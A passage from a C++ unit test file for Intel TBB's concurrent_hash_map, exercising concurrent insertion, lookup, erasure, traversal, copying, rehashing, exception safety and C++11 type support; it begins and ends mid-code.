ca->second.value_of()==~(i*i), NULL ); ASSERT( (*ca).second.value_of()==~(i*i), NULL ); } } }; tbb::atomic<int> EraseCount; struct Erase { static void apply( MyTable& table, int i ) { bool b; if(i&4) { if(i&8) { MyTable::const_accessor a; b = table.find( a, MyKey::make(i) ) && table.erase( a ); } else { MyTable::accessor a; b = table.find( a, MyKey::make(i) ) && table.erase( a ); } } else b = table.erase( MyKey::make(i) ); if( b ) ++EraseCount; ASSERT( table.count(MyKey::make(i)) == 0, NULL ); } }; static const int IE_SIZE = 2; tbb::atomic<YourTable::size_type> InsertEraseCount[IE_SIZE]; struct InsertErase { static void apply( YourTable& table, int i ) { if ( i%3 ) { int key = i%IE_SIZE; if ( table.insert( std::make_pair(MyKey::make(key), MyData2()) ) ) ++InsertEraseCount[key]; } else { int key = i%IE_SIZE; if( i&1 ) { YourTable::accessor res; if(table.find( res, MyKey::make(key) ) && table.erase( res ) ) --InsertEraseCount[key]; } else { YourTable::const_accessor res; if(table.find( res, MyKey::make(key) ) && table.erase( res ) ) --InsertEraseCount[key]; } } } }; // Test for the deadlock discussed at: // http://softwarecommunity.intel.com/isn/Community/en-US/forums/permalink/30253302/30253302/ShowThread.aspx#30253302 struct InnerInsert { static void apply( YourTable& table, int i ) { YourTable::accessor a1, a2; if(i&1) __TBB_Yield(); table.insert( a1, MyKey::make(1) ); __TBB_Yield(); table.insert( a2, MyKey::make(1 + (1<<30)) ); // the same chain table.erase( a2 ); // if erase by key it would lead to deadlock for single thread } }; #include "harness_barrier.h" // Test for the misuse of constness struct FakeExclusive : NoAssign { Harness::SpinBarrier& barrier; YourTable& table; FakeExclusive(Harness::SpinBarrier& b, YourTable&t) : barrier(b), table(t) {} void operator()( int i ) const { if(i) { YourTable::const_accessor real_ca; // const accessor on non-const table acquired as reader (shared) ASSERT( table.find(real_ca,MyKey::make(1)), NULL ); barrier.wait(); // item can be erased Harness::Sleep(10); // let it enter the erase real_ca->second.value_of(); // check the state while holding accessor } else { YourTable::accessor fake_ca; const YourTable &const_table = table; // non-const accessor on const table acquired as reader (shared) ASSERT( const_table.find(fake_ca,MyKey::make(1)), NULL ); barrier.wait(); // readers acquired // can mistakenly remove the item while other readers still refers to it table.erase( fake_ca ); } } }; template<typename Op, typename MyTable> class TableOperation: NoAssign { MyTable& my_table; public: void operator()( const tbb::blocked_range<int>& range ) const { for( int i=range.begin(); i!=range.end(); ++i ) Op::apply(my_table,i); } TableOperation( MyTable& table ) : my_table(table) {} }; template<typename Op, typename TableType> void DoConcurrentOperations( TableType& table, int n, const char* what, int nthread ) { REMARK("testing %s with %d threads\n",what,nthread); tbb::tick_count t0 = tbb::tick_count::now(); tbb::parallel_for( tbb::blocked_range<int>(0,n,100), TableOperation<Op,TableType>(table) ); tbb::tick_count t1 = tbb::tick_count::now(); REMARK("time for %s = %g with %d threads\n",what,(t1-t0).seconds(),nthread); } //! Test traversing the table with an iterator. void TraverseTable( MyTable& table, size_t n, size_t expected_size ) { REMARK("testing traversal\n"); size_t actual_size = table.size(); ASSERT( actual_size==expected_size, NULL ); size_t count = 0; bool* array = new bool[n]; memset( array, 0, n*sizeof(bool) ); const MyTable& const_table = table; MyTable::const_iterator ci = const_table.begin(); for( MyTable::iterator i = table.begin(); i!=table.end(); ++i ) { // Check iterator int k = i->first.value_of(); ASSERT( UseKey(k), NULL ); ASSERT( (*i).first.value_of()==k, NULL ); ASSERT( 0<=k && size_t(k)<n, "out of bounds key" ); ASSERT( !array[k], "duplicate key" ); array[k] = true; ++count; // Check lower/upper bounds std::pair<MyTable::iterator, MyTable::iterator> er = table.equal_range(i->first); std::pair<MyTable::const_iterator, MyTable::const_iterator> cer = const_table.equal_range(i->first); ASSERT(cer.first == er.first && cer.second == er.second, NULL); ASSERT(cer.first == i, NULL); ASSERT(std::distance(cer.first, cer.second) == 1, NULL); // Check const_iterator MyTable::const_iterator cic = ci++; ASSERT( cic->first.value_of()==k, NULL ); ASSERT( (*cic).first.value_of()==k, NULL ); } ASSERT( ci==const_table.end(), NULL ); delete[] array; if( count!=expected_size ) { REPORT("Line %d: count=%ld but should be %ld\n",__LINE__,long(count),long(expected_size)); } } typedef tbb::atomic<unsigned char> AtomicByte; template<typename RangeType> struct ParallelTraverseBody: NoAssign { const size_t n; AtomicByte* const array; ParallelTraverseBody( AtomicByte array_[], size_t n_ ) : n(n_), array(array_) {} void operator()( const RangeType& range ) const { for( typename RangeType::iterator i = range.begin(); i!=range.end(); ++i ) { int k = i->first.value_of(); ASSERT( 0<=k && size_t(k)<n, NULL ); ++array[k]; } } }; void Check( AtomicByte array[], size_t n, size_t expected_size ) { if( expected_size ) for( size_t k=0; k<n; ++k ) { if( array[k] != int(UseKey(k)) ) { REPORT("array[%d]=%d != %d=UseKey(%d)\n", int(k), int(array[k]), int(UseKey(k)), int(k)); ASSERT(false,NULL); } } } //! Test travering the tabel with a parallel range void ParallelTraverseTable( MyTable& table, size_t n, size_t expected_size ) { REMARK("testing parallel traversal\n"); ASSERT( table.size()==expected_size, NULL ); AtomicByte* array = new AtomicByte[n]; memset( array, 0, n*sizeof(AtomicByte) ); MyTable::range_type r = table.range(10); tbb::parallel_for( r, ParallelTraverseBody<MyTable::range_type>( array, n )); Check( array, n, expected_size ); const MyTable& const_table = table; memset( array, 0, n*sizeof(AtomicByte) ); MyTable::const_range_type cr = const_table.range(10); tbb::parallel_for( cr, ParallelTraverseBody<MyTable::const_range_type>( array, n )); Check( array, n, expected_size ); delete[] array; } void TestInsertFindErase( int nthread ) { int n=250000; // compute m = number of unique keys int m = 0; for( int i=0; i<n; ++i ) m += UseKey(i); MyAllocator a; a.items_freed = a.frees = 100; ASSERT( MyDataCount==0, NULL ); MyTable table(a); TraverseTable(table,n,0); ParallelTraverseTable(table,n,0); CheckAllocator(table, 0, 100); int expected_allocs = 0, expected_frees = 100; #if __TBB_INITIALIZER_LISTS_PRESENT for ( int i = 0; i < 2; ++i ) { if ( i==0 ) DoConcurrentOperations<InsertInitList, MyTable>( table, n, "insert(std::initializer_list)", nthread ); else #endif DoConcurrentOperations<Insert, MyTable>( table, n, "insert", nthread ); ASSERT( MyDataCount == m, NULL ); TraverseTable( table, n, m ); ParallelTraverseTable( table, n, m ); expected_allocs += m; CheckAllocator( table, expected_allocs, expected_frees ); DoConcurrentOperations<Find, MyTable>( table, n, "find", nthread ); ASSERT( MyDataCount == m, NULL ); CheckAllocator( table, expected_allocs, expected_frees ); DoConcurrentOperations<FindConst, MyTable>( table, n, "find(const)", nthread ); ASSERT( MyDataCount == m, NULL ); CheckAllocator( table, expected_allocs, expected_frees ); EraseCount = 0; DoConcurrentOperations<Erase, MyTable>( table, n, "erase", nthread ); ASSERT( EraseCount == m, NULL ); ASSERT( MyDataCount == 0, NULL ); TraverseTable( table, n, 0 ); expected_frees += m; CheckAllocator( table, expected_allocs, expected_frees ); bad_hashing = true; table.clear(); bad_hashing = false; #if __TBB_INITIALIZER_LISTS_PRESENT } #endif if(nthread > 1) { YourTable ie_table; for( int i=0; i<IE_SIZE; ++i ) InsertEraseCount[i] = 0; DoConcurrentOperations<InsertErase,YourTable>(ie_table,n/2,"insert_erase",nthread); for( int i=0; i<IE_SIZE; ++i ) ASSERT( InsertEraseCount[i]==ie_table.count(MyKey::make(i)), NULL ); DoConcurrentOperations<InnerInsert,YourTable>(ie_table,2000,"inner insert",nthread); Harness::SpinBarrier barrier(nthread); REMARK("testing erase on fake exclusive accessor\n"); NativeParallelFor( nthread, FakeExclusive(barrier, ie_table)); } } volatile int Counter; class AddToTable: NoAssign { MyTable& my_table; const int my_nthread; const int my_m; public: AddToTable( MyTable& table, int nthread, int m ) : my_table(table), my_nthread(nthread), my_m(m) {} void operator()( int ) const { for( int i=0; i<my_m; ++i ) { // Busy wait to synchronize threads int j = 0; while( Counter<i ) { if( ++j==1000000 ) { // If Counter<i after a million iterations, then we almost surely have // more logical threads than physical threads, and should yield in // order to let suspended logical threads make progress. j = 0; __TBB_Yield(); } } // Now all threads attempt to simultaneously insert a key. int k; { MyTable::accessor a; MyKey key = MyKey::make(i); if( my_table.insert( a, key ) ) a->second.set_value( 1 ); else a->second.set_value( a->second.value_of()+1 ); k = a->second.value_of(); } if( k==my_nthread ) Counter=i+1; } } }; class RemoveFromTable: NoAssign { MyTable& my_table; const int my_nthread; const int my_m; public: RemoveFromTable( MyTable& table, int nthread, int m ) : my_table(table), my_nthread(nthread), my_m(m) {} void operator()(int) const { for( int i=0; i<my_m; ++i ) { bool b; if(i&4) { if(i&8) { MyTable::const_accessor a; b = my_table.find( a, MyKey::make(i) ) && my_table.erase( a ); } else { MyTable::accessor a; b = my_table.find( a, MyKey::make(i) ) && my_table.erase( a ); } } else b = my_table.erase( MyKey::make(i) ); if( b ) ++EraseCount; } } }; //! Test for memory leak in concurrent_hash_map (TR #153). void TestConcurrency( int nthread ) { REMARK("testing multiple insertions/deletions of same key with %d threads\n", nthread); { ASSERT( MyDataCount==0, NULL ); MyTable table; const int m = 1000; Counter = 0; tbb::tick_count t0 = tbb::tick_count::now(); NativeParallelFor( nthread, AddToTable(table,nthread,m) ); tbb::tick_count t1 = tbb::tick_count::now(); REMARK("time for %u insertions = %g with %d threads\n",unsigned(MyDataCount),(t1-t0).seconds(),nthread); ASSERT( MyDataCount==m, "memory leak detected" ); EraseCount = 0; t0 = tbb::tick_count::now(); NativeParallelFor( nthread, RemoveFromTable(table,nthread,m) ); t1 = tbb::tick_count::now(); REMARK("time for %u deletions = %g with %d threads\n",unsigned(EraseCount),(t1-t0).seconds(),nthread); ASSERT( MyDataCount==0, "memory leak detected" ); ASSERT( EraseCount==m, "return value of erase() is broken" ); CheckAllocator(table, m, m, /*exact*/nthread <= 1); } ASSERT( MyDataCount==0, "memory leak detected" ); } void TestTypes() { AssertSameType( static_cast<MyTable::key_type*>(0), static_cast<MyKey*>(0) ); AssertSameType( static_cast<MyTable::mapped_type*>(0), static_cast<MyData*>(0) ); AssertSameType( static_cast<MyTable::value_type*>(0), static_cast<std::pair<const MyKey,MyData>*>(0) ); AssertSameType( static_cast<MyTable::accessor::value_type*>(0), static_cast<MyTable::value_type*>(0) ); AssertSameType( static_cast<MyTable::const_accessor::value_type*>(0), static_cast<const MyTable::value_type*>(0) ); AssertSameType( static_cast<MyTable::size_type*>(0), static_cast<size_t*>(0) ); AssertSameType( static_cast<MyTable::difference_type*>(0), static_cast<ptrdiff_t*>(0) ); } template<typename Iterator, typename T> void TestIteratorTraits() { AssertSameType( static_cast<typename Iterator::difference_type*>(0), static_cast<ptrdiff_t*>(0) ); AssertSameType( static_cast<typename Iterator::value_type*>(0), static_cast<T*>(0) ); AssertSameType( static_cast<typename Iterator::pointer*>(0), static_cast<T**>(0) ); AssertSameType( static_cast<typename Iterator::iterator_category*>(0), static_cast<std::forward_iterator_tag*>(0) ); T x; typename Iterator::reference xr = x; typename Iterator::pointer xp = &x; ASSERT( &xr==xp, NULL ); } template<typename Iterator1, typename Iterator2> void TestIteratorAssignment( Iterator2 j ) { Iterator1 i(j), k; ASSERT( i==j, NULL ); ASSERT( !(i!=j), NULL ); k = j; ASSERT( k==j, NULL ); ASSERT( !(k!=j), NULL ); } template<typename Range1, typename Range2> void TestRangeAssignment( Range2 r2 ) { Range1 r1(r2); r1 = r2; } //------------------------------------------------------------------------ // Test for copy constructor and assignment //------------------------------------------------------------------------ template<typename MyTable> static void FillTable( MyTable& x, int n ) { for( int i=1; i<=n; ++i ) { MyKey key( MyKey::make(-i) ); // hash values must not be specified in direct order typename MyTable::accessor a; bool b = x.insert(a,key); ASSERT(b, NULL); a->second.set_value( i*i ); } } template<typename MyTable> static void CheckTable( const MyTable& x, int n ) { ASSERT( x.size()==size_t(n), "table is different size than expected" ); ASSERT( x.empty()==(n==0), NULL ); ASSERT( x.size()<=x.max_size(), NULL ); for( int i=1; i<=n; ++i ) { MyKey key( MyKey::make(-i) ); typename MyTable::const_accessor a; bool b = x.find(a,key); ASSERT( b, NULL ); ASSERT( a->second.value_of()==i*i, NULL ); } int count = 0; int key_sum = 0; for( typename MyTable::const_iterator i(x.begin()); i!=x.end(); ++i ) { ++count; key_sum += -i->first.value_of(); } ASSERT( count==n, NULL ); ASSERT( key_sum==n*(n+1)/2, NULL ); } static void TestCopy() { REMARK("testing copy\n"); MyTable t1; for( int i=0; i<10000; i=(i<100 ? i+1 : i*3) ) { MyDataCount = 0; FillTable(t1,i); // Do not call CheckTable(t1,i) before copying, it enforces rehashing MyTable t2(t1); // Check that copy constructor did not mangle source table. CheckTable(t1,i); swap(t1, t2); CheckTable(t1,i); ASSERT( !(t1 != t2), NULL ); // Clear original table t2.clear(); swap(t2, t1); CheckTable(t1,0); // Verify that copy of t1 is correct, even after t1 is cleared. CheckTable(t2,i); t2.clear(); t1.swap( t2 ); CheckTable(t1,0); CheckTable(t2,0); ASSERT( MyDataCount==0, "data leak?" ); } } void TestAssignment() { REMARK("testing assignment\n"); for( int i=0; i<1000; i=(i<30 ? i+1 : i*5) ) { for( int j=0; j<1000; j=(j<30 ? j+1 : j*7) ) { MyTable t1; MyTable t2; FillTable(t1,i); FillTable(t2,j); ASSERT( (t1 == t2) == (i == j), NULL ); CheckTable(t2,j); MyTable& tref = t2=t1; ASSERT( &tref==&t2, NULL ); ASSERT( t1 == t2, NULL ); CheckTable(t1,i); CheckTable(t2,i); t1.clear(); CheckTable(t1,0); CheckTable(t2,i); ASSERT( MyDataCount==i, "data leak?" ); t2.clear(); CheckTable(t1,0); CheckTable(t2,0); ASSERT( MyDataCount==0, "data leak?" ); } } } void TestIteratorsAndRanges() { REMARK("testing iterators compliance\n"); TestIteratorTraits<MyTable::iterator,MyTable::value_type>(); TestIteratorTraits<MyTable::const_iterator,const MyTable::value_type>(); MyTable v; MyTable const &u = v; TestIteratorAssignment<MyTable::const_iterator>( u.begin() ); TestIteratorAssignment<MyTable::const_iterator>( v.begin() ); TestIteratorAssignment<MyTable::iterator>( v.begin() ); // doesn't compile as expected: TestIteratorAssignment<typename V::iterator>( u.begin() ); // check for non-existing ASSERT(v.equal_range(MyKey::make(-1)) == std::make_pair(v.end(), v.end()), NULL); ASSERT(u.equal_range(MyKey::make(-1)) == std::make_pair(u.end(), u.end()), NULL); REMARK("testing ranges compliance\n"); TestRangeAssignment<MyTable::const_range_type>( u.range() ); TestRangeAssignment<MyTable::const_range_type>( v.range() ); TestRangeAssignment<MyTable::range_type>( v.range() ); // doesn't compile as expected: TestRangeAssignment<typename V::range_type>( u.range() ); REMARK("testing construction and insertion from iterators range\n"); FillTable( v, 1000 ); MyTable2 t(v.begin(), v.end()); v.rehash(); CheckTable(t, 1000); t.insert(v.begin(), v.end()); // do nothing CheckTable(t, 1000); t.clear(); t.insert(v.begin(), v.end()); // restore CheckTable(t, 1000); REMARK("testing comparison\n"); typedef tbb::concurrent_hash_map<MyKey,MyData2,YourHashCompare,MyAllocator> YourTable1; typedef tbb::concurrent_hash_map<MyKey,MyData2,YourHashCompare> YourTable2; YourTable1 t1; FillTable( t1, 10 ); CheckTable(t1, 10 ); YourTable2 t2(t1.begin(), t1.end()); MyKey key( MyKey::make(-5) ); MyData2 data; ASSERT(t2.erase(key), NULL); YourTable2::accessor a; ASSERT(t2.insert(a, key), NULL); data.set_value(0); a->second = data; ASSERT( t1 != t2, NULL); data.set_value(5*5); a->second = data; ASSERT( t1 == t2, NULL); } void TestRehash() { REMARK("testing rehashing\n"); MyTable w; w.insert( std::make_pair(MyKey::make(-5), MyData()) ); w.rehash(); // without this, assertion will fail MyTable::iterator it = w.begin(); int i = 0; // check for non-rehashed buckets for( ; it != w.end(); i++ ) w.count( (it++)->first ); ASSERT( i == 1, NULL ); for( i=0; i<1000; i=(i<29 ? i+1 : i*2) ) { for( int j=max(256+i, i*2); j<10000; j*=3 ) { MyTable v; FillTable( v, i ); ASSERT(int(v.size()) == i, NULL); ASSERT(int(v.bucket_count()) <= j, NULL); v.rehash( j ); ASSERT(int(v.bucket_count()) >= j, NULL); CheckTable( v, i ); } } } #if TBB_USE_EXCEPTIONS void TestExceptions() { typedef local_counting_allocator<tbb::tbb_allocator<MyData2> > allocator_t; typedef tbb::concurrent_hash_map<MyKey,MyData2,MyHashCompare,allocator_t> ThrowingTable; enum methods { zero_method = 0, ctor_copy, op_assign, op_insert, all_methods }; REMARK("testing exception-safety guarantees\n"); ThrowingTable src; FillTable( src, 1000 ); ASSERT( MyDataCount==1000, NULL ); try { for(int t = 0; t < 2; t++) // exception type for(int m = zero_method+1; m < all_methods; m++) { allocator_t a; if(t) MyDataCountLimit = 101; else a.set_limits(101); ThrowingTable victim(a); MyDataCount = 0; try { switch(m) { case ctor_copy: { ThrowingTable acopy(src, a); } break; case op_assign: { victim = src; } break; case op_insert: { FillTable( victim, 1000 ); } break; default:; } ASSERT(false, "should throw an exception"); } catch(std::bad_alloc &e) { MyDataCountLimit = 0; size_t size = victim.size(); switch(m) { case op_assign: ASSERT( MyDataCount==100, "data leak?" ); ASSERT( size>=100, NULL ); CheckAllocator(victim, 100+t, t); case ctor_copy: CheckTable(src, 1000); break; case op_insert: ASSERT( size==size_t(100-t), NULL ); ASSERT( MyDataCount==100-t, "data leak?" ); CheckTable(victim, 100-t); CheckAllocator(victim, 100, t); break; default:; // nothing to check here } REMARK("Exception %d: %s\t- ok ()\n", m, e.what()); } catch ( ... ) { ASSERT ( __TBB_EXCEPTION_TYPE_INFO_BROKEN, "Unrecognized exception" ); } } } catch(...) { ASSERT(false, "unexpected exception"); } src.clear(); MyDataCount = 0; } #endif /* TBB_USE_EXCEPTIONS */ #if __TBB_INITIALIZER_LISTS_PRESENT #include "test_initializer_list.h" struct test_insert { template<typename container_type, typename element_type> static void do_test( std::initializer_list<element_type> il, container_type const& expected ) { container_type vd; vd.insert( il ); ASSERT( vd == expected, "inserting with an initializer list failed" ); } }; void TestInitList(){ using namespace initializer_list_support_tests; REMARK("testing initializer_list methods \n"); typedef tbb::concurrent_hash_map<int,int> ch_map_type; std::initializer_list<ch_map_type::value_type> pairs_il = {{1,1},{2,2},{3,3},{4,4},{5,5}}; TestInitListSupportWithoutAssign<ch_map_type, test_insert>( pairs_il ); TestInitListSupportWithoutAssign<ch_map_type, test_insert>( {} ); } #endif //if __TBB_INITIALIZER_LISTS_PRESENT #if __TBB_RANGE_BASED_FOR_PRESENT #include "test_range_based_for.h" void TestRangeBasedFor(){ using namespace range_based_for_support_tests; REMARK("testing range based for loop compatibility \n"); typedef tbb::concurrent_hash_map<int,int> ch_map; ch_map a_ch_map; const int sequence_length = 100; for (int i = 1; i <= sequence_length; ++i){ a_ch_map.insert(ch_map::value_type(i,i)); } ASSERT( range_based_for_accumulate(a_ch_map, pair_second_summer(), 0) == gauss_summ_of_int_sequence(sequence_length), "incorrect accumulated value generated via range based for ?"); } #endif //if __TBB_RANGE_BASED_FOR_PRESENT #include "harness_defs.h" // The helper to run a test only when a default construction is present. template <bool default_construction_present> struct do_default_construction_test { template<typename FuncType> void operator() ( FuncType func ) const { func(); } }; template <> struct do_default_construction_test<false> { template<typename FuncType> void operator()( FuncType ) const {} }; template <typename Table> class test_insert_by_key : NoAssign { typedef typename Table::value_type value_type; Table &my_c; const value_type &my_value; public: test_insert_by_key( Table &c, const value_type &value ) : my_c(c), my_value(value) {} void operator()() const { { typename Table::accessor a; ASSERT( my_c.insert( a, my_value.first ), NULL ); ASSERT( Harness::IsEqual()(a->first, my_value.first), NULL ); a->second = my_value.second; } { typename Table::const_accessor ca; ASSERT( !my_c.insert( ca, my_value.first ), NULL ); ASSERT( Harness::IsEqual()(ca->first, my_value.first), NULL); ASSERT( Harness::IsEqual()(ca->second, my_value.second), NULL); } } }; #include <vector> #include <list> #include <algorithm> template <typename Table, typename Iterator, typename Range = typename Table::range_type> class test_range : NoAssign { typedef typename Table::value_type value_type; Table &my_c; const std::list<value_type> &my_lst; std::vector< tbb::atomic<bool> >& my_marks; public: test_range( Table &c, const std::list<value_type> &lst, std::vector< tbb::atomic<bool> > &marks ) : my_c(c), my_lst(lst), my_marks(marks) { std::fill( my_marks.begin(), my_marks.end(), false ); } void operator()( const Range &r ) const { do_test_range( r.begin(), r.end() ); } void do_test_range( Iterator i, Iterator j ) const { for ( Iterator it = i; it != j; ) { Iterator it_prev = it++; typename std::list<value_type>::const_iterator it2 = std::search( my_lst.begin(), my_lst.end(), it_prev, it, Harness::IsEqual() ); ASSERT( it2 != my_lst.end(), NULL ); typename std::list<value_type>::difference_type dist = std::distance( my_lst.begin(), it2 ); ASSERT( !my_marks[dist], NULL ); my_marks[dist] = true; } } }; template <bool default_construction_present, typename Table> class check_value : NoAssign { typedef typename Table::const_iterator const_iterator; typedef typename Table::iterator iterator; typedef typename Table::size_type size_type; Table &my_c; public: check_value( Table &c ) : my_c(c) {} void operator()(const typename Table::value_type &value ) { const Table &const_c = my_c; ASSERT( my_c.count( value.first ) == 1, NULL ); { // tests with a const accessor. typename Table::const_accessor ca; // find ASSERT( my_c.find( ca, value.first ), NULL); ASSERT( !ca.empty() , NULL); ASSERT( Harness::IsEqual()(ca->first, value.first), NULL ); ASSERT( Harness::IsEqual()(ca->second, value.second), NULL ); // erase ASSERT( my_c.erase( ca ), NULL ); ASSERT( my_c.count( value.first ) == 0, NULL ); // insert (pair) ASSERT( my_c.insert( ca, value ), NULL); ASSERT( Harness::IsEqual()(ca->first, value.first), NULL ); ASSERT( Harness::IsEqual()(ca->second, value.second), NULL ); } { // tests with a non-const accessor. typename Table::accessor a; // find ASSERT( my_c.find( a, value.first ), NULL); ASSERT( !a.empty() , NULL); ASSERT( Harness::IsEqual()(a->first, value.first), NULL ); ASSERT( Harness::IsEqual()(a->second, value.second), NULL ); // erase ASSERT( my_c.erase( a ), NULL ); ASSERT( my_c.count( value.first ) == 0, NULL ); // insert ASSERT( my_c.insert( a, value ), NULL); ASSERT( Harness::IsEqual()(a->first, value.first), NULL ); ASSERT( Harness::IsEqual()(a->second, value.second), NULL ); } // erase by key ASSERT( my_c.erase( value.first ), NULL ); ASSERT( my_c.count( value.first ) == 0, NULL ); do_default_construction_test<default_construction_present>()(test_insert_by_key<Table>( my_c, value )); // insert by value ASSERT( my_c.insert( value ) != default_construction_present, NULL ); // equal_range std::pair<iterator,iterator> r1 = my_c.equal_range( value.first ); iterator r1_first_prev = r1.first++; ASSERT( Harness::IsEqual()( *r1_first_prev, value ) && Harness::IsEqual()( r1.first, r1.second ), NULL ); std::pair<const_iterator,const_iterator> r2 = const_c.equal_range( value.first ); const_iterator r2_first_prev = r2.first++; ASSERT( Harness::IsEqual()( *r2_first_prev, value ) && Harness::IsEqual()( r2.first, r2.second ), NULL ); } }; #include "tbb/task_scheduler_init.h" template <typename Value, typename U = Value> struct CompareTables { template <typename T> static bool IsEqual( const T& t1, const T& t2 ) { return (t1 == t2) && !(t1 != t2); } }; #if __TBB_CPP11_SMART_POINTERS_PRESENT template <typename U> struct CompareTables< std::pair<const std::weak_ptr<U>, std::weak_ptr<U> > > { template <typename T> static bool IsEqual( const T&, const T& ) { /* do nothing for std::weak_ptr */ return true; } }; #endif /* __TBB_CPP11_SMART_POINTERS_PRESENT */ template <bool default_construction_present, typename Table> void Examine( Table c, const std::list<typename Table::value_type> &lst) { typedef const Table const_table; typedef typename Table::const_iterator const_iterator; typedef typename Table::iterator iterator; typedef typename Table::value_type value_type; typedef typename Table::size_type size_type; ASSERT( !c.empty(), NULL ); ASSERT( c.size() == lst.size(), NULL ); ASSERT( c.max_size() >= c.size(), NULL ); const check_value<default_construction_present,Table> cv(c); std::for_each( lst.begin(), lst.end(), cv ); std::vector< tbb::atomic<bool> > marks( lst.size() ); test_range<Table,iterator>( c, lst, marks ).do_test_range( c.begin(), c.end() ); ASSERT( std::find( marks.begin(), marks.end(), false ) == marks.end(), NULL ); test_range<const_table,const_iterator>( c, lst, marks ).do_test_range( c.begin(), c.end() ); ASSERT( std::find( marks.begin(), marks.end(), false ) == marks.end(), NULL ); tbb::task_scheduler_init init; typedef typename Table::range_type range_type; tbb::parallel_for( c.range(), test_range<Table,typename range_type::iterator,range_type>( c, lst, marks ) ); ASSERT( std::find( marks.begin(), marks.end(), false ) == marks.end(), NULL ); const_table const_c = c; ASSERT( CompareTables<value_type>::IsEqual( c, const_c ), NULL ); typedef typename const_table::const_range_type const_range_type; tbb::parallel_for( c.range(), test_range<const_table,typename const_range_type::iterator,const_range_type>( const_c, lst, marks ) ); ASSERT( std::find( marks.begin(), marks.end(), false ) == marks.end(), NULL ); const size_type new_bucket_count = 2*c.bucket_count(); c.rehash( new_bucket_count ); ASSERT( c.bucket_count() >= new_bucket_count, NULL ); Table c2; typename std::list<value_type>::const_iterator begin5 = lst.begin(); std::advance( begin5, 5 ); c2.insert( lst.begin(), begin5 ); std::for_each( lst.begin(), begin5, check_value<default_construction_present, Table>( c2 ) ); c2.swap( c ); ASSERT( CompareTables<value_type>::IsEqual( c2, const_c ), NULL ); ASSERT( c.size() == 5, NULL ); std::for_each( lst.begin(), lst.end(), check_value<default_construction_present,Table>(c2) ); tbb::swap( c, c2 ); ASSERT( CompareTables<value_type>::IsEqual( c, const_c ), NULL ); ASSERT( c2.size() == 5, NULL ); c2.clear(); ASSERT( CompareTables<value_type>::IsEqual( c2, Table() ), NULL ); typename Table::allocator_type a = c.get_allocator(); value_type *ptr = a.allocate(1); ASSERT( ptr, NULL ); a.deallocate( ptr, 1 ); } template <bool default_construction_present, typename Value> void TypeTester( const std::list<Value> &lst ) { __TBB_ASSERT( lst.size() >= 5, "Array should have at least 5 elements" ); typedef typename Value::first_type first_type; typedef typename Value::second_type second_type; typedef tbb::concurrent_hash_map<first_type,second_type> ch_map; // Construct an empty hash map. ch_map c1; c1.insert( lst.begin(), lst.end() ); Examine<default_construction_present>( c1, lst ); #if __TBB_INITIALIZER_LISTS_PRESENT && !__TBB_CPP11_INIT_LIST_TEMP_OBJS_LIFETIME_BROKEN // Constructor from initializer_list. typename std::list<Value>::const_iterator it = lst.begin(); ch_map c2( {*it++, *it++, *it++} ); c2.insert( it, lst.end() ); Examine<default_construction_present>( c2, lst ); #endif // Copying constructor. ch_map c3(c1); Examine<default_construction_present>( c3, lst ); // Construct with non-default allocator typedef tbb::concurrent_hash_map< first_type,second_type,tbb::tbb_hash_compare<first_type>,debug_allocator<Value> > ch_map_debug_alloc; ch_map_debug_alloc c4; c4.insert( lst.begin(), lst.end() ); Examine<default_construction_present>( c4, lst ); // Copying constructor for vector with different allocator type. ch_map_debug_alloc c5(c4); Examine<default_construction_present>( c5, lst ); // Construction empty table with n preallocated buckets. ch_map c6( lst.size() ); c6.insert( lst.begin(), lst.end() ); Examine<default_construction_present>( c6, lst ); ch_map_debug_alloc c7( lst.size() ); c7.insert( lst.begin(), lst.end() ); Examine<default_construction_present>( c7, lst ); // Construction with copying iteration range and given allocator instance. ch_map c8( c1.begin(), c1.end() ); Examine<default_construction_present>( c8, lst ); debug_allocator<Value> allocator; ch_map_debug_alloc c9( lst.begin(), lst.end(), allocator ); Examine<default_construction_present>( c9, lst ); } #if __TBB_CPP11_SMART_POINTERS_PRESENT namespace tbb { template<> struct tbb_hash_compare< const std::shared_ptr<int> > { static size_t hash( const std::shared_ptr<int>& ptr ) { return static_cast<size_t>( *ptr ) * interface5::internal::hash_multiplier; } static bool equal( const std::shared_ptr<int>& ptr1, const std::shared_ptr<int>& ptr2 ) { return ptr1 == ptr2; } }; template<> struct tbb_hash_compare< const std::weak_ptr<int> > { static size_t hash( const std::weak_ptr<int>& ptr ) { return static_cast<size_t>( *ptr.lock() ) * interface5::internal::hash_multiplier; } static bool equal( const std::weak_ptr<int>& ptr1, const std::weak_ptr<int>& ptr2 ) { return ptr1.lock() == ptr2.lock(); } }; } #endif /* __TBB_CPP11_SMART_POINTERS_PRESENT */ void TestCPP11Types() { const int NUMBER = 10; typedef std::pair<const int, int> int_int_t; std::list<int_int_t> arrIntInt; for ( int i=0; i<NUMBER; ++i ) arrIntInt.push_back( int_int_t(i, NUMBER-i) ); TypeTester</*default_construction_present = */true>( arrIntInt ); #if __TBB_CPP11_REFERENCE_WRAPPER_PRESENT && !__TBB_REFERENCE_WRAPPER_COMPILATION_BROKEN typedef std::pair<const std::reference_wrapper<const int>, int> ref_int_t; std::list<ref_int_t> arrRefInt; for ( std::list<int_int_t>::iterator it = arrIntInt.begin(); it != arrIntInt.end(); ++it ) arrRefInt.push_back( ref_int_t( it->first, it->second ) ); TypeTester</*default_construction_present = */true>( arrRefInt ); typedef std::pair< const int, std::reference_wrapper<int> > int_ref_t; std::list<int_ref_t> arrIntRef; for ( std::list<int_int_t>::iterator it = arrIntInt.begin(); it != arrIntInt.end(); ++it ) arrIntRef.push_back( int_ref_t( it->first, it->second ) ); TypeTester</*default_construction_present = */false>( arrIntRef ); #else REPORT("Known issue: C++11 reference wrapper tests are skipped.\n"); #endif /* __TBB_CPP11_REFERENCE_WRAPPER_PRESENT && !__TBB_REFERENCE_WRAPPER_COMPILATION_BROKEN*/ typedef std::pair< const int, tbb::atomic<int> > int_tbb_t; std::list<int_tbb_t> arrIntTbb; for ( int i=0; i<NUMBER; ++i ) { tbb::atomic<int> b; b = NUMBER-i; arrIntTbb.push_back( int_tbb_t(i, b) ); } TypeTester</*default_construction_present = */true>( arrIntTbb ); #if __TBB_CPP11_SMART_POINTERS_PRESENT typedef std::pair< const std::shared_ptr<int>, std::shared_ptr<int> > shr_shr_t; std::list<shr_shr_t> arrShrShr; for ( int i=0; i<NUMBER; ++i ) { const int NUMBER_minus_i = NUMBER - i; arrShrShr.push_back( shr_shr_t( std::make_shared<int>(i), std::make_shared<int>(NUMBER_minus_i) ) ); } TypeTester< /*default_construction_present = */true>( arrShrShr ); typedef std::pair< const std::weak_ptr<int>, 